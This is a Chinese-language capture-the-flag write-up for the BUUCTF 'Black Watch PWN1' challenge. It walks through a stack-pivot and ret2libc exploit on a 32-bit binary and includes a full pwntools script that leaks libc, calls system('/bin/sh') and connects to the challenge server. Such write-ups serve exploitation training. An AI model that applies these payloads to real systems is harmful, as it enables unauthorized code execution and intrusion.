BUUCTF [Black Watch 入群题]PWN1 题解
1.下载文件 exeinfo checksec
32位 IDA32
看到关键函数
read两次 第一次read的变量s在bss段;第二次的buf到ebp距离为 24 但是第二次的read字节只能刚好填满返回地址 传不进去变量
所以想到栈迁移 将栈移动到变量s所在位置上来
同时 这题开了NX 无直接的binsh和system 用libc做题
先将libc的套路传入到变量s中
同时需要空出前面的四字节使得栈迁移的指针停在这
main_addr = 0x8048513
lea_ret_addr = 0x8048511
plt_write = elf.plt['write']
got_write = elf.gor['write']
payload1 = b'a' * 4 + p32(plt_write) + p32(main_addr) + p32(1) + p32(got_write) + p32(4)
p.sendafter("name?", payload1)
然后构造payload2让程序执行leave ret
因为想要将ebp移动到bss段上的变量s 所以ebp设置为s的地址
payload2 = b'a' * 0x18 + p32(bss_s_addr) + p32(lea_ret_addr)
p.sendafter("say?", payload2)
接下来就是常规的libc
exp:
from pwn import *
#p = process('./spwn')
p = remote("node5.buuoj.cn", 29085)
elf = ELF('./spwn')
main_addr = 0x8048513
lea_ret_addr = 0x8048511
plt_write = elf.plt['write']
got_write = elf.got['write']
bss_s_addr = 0x804A300
payload1 = b'a' * 4 + p32(plt_write) + p32(main_addr) + p32(1) + p32(got_write) + p32(4)
p.sendafter("name?", payload1)
payload2 = b'a' * 0x18 + p32(bss_s_addr) + p32(lea_ret_addr)
p.sendafter("say?", payload2)
write_addr = u32(p.recv(4))
libc = ELF('./libc-2.23.so')
offset = write_addr - libc.symbols['write']
binsh = offset + libc.search('/bin/sh').__next__()
system = offset + libc.symbols['system']
payload3 = b'aaaa' + p32(system) + b'aaaa' + p32(binsh)
p.sendafter("name?", payload3)
p.sendafter("say?", payload2)
p.interactive()
运行 得到flag: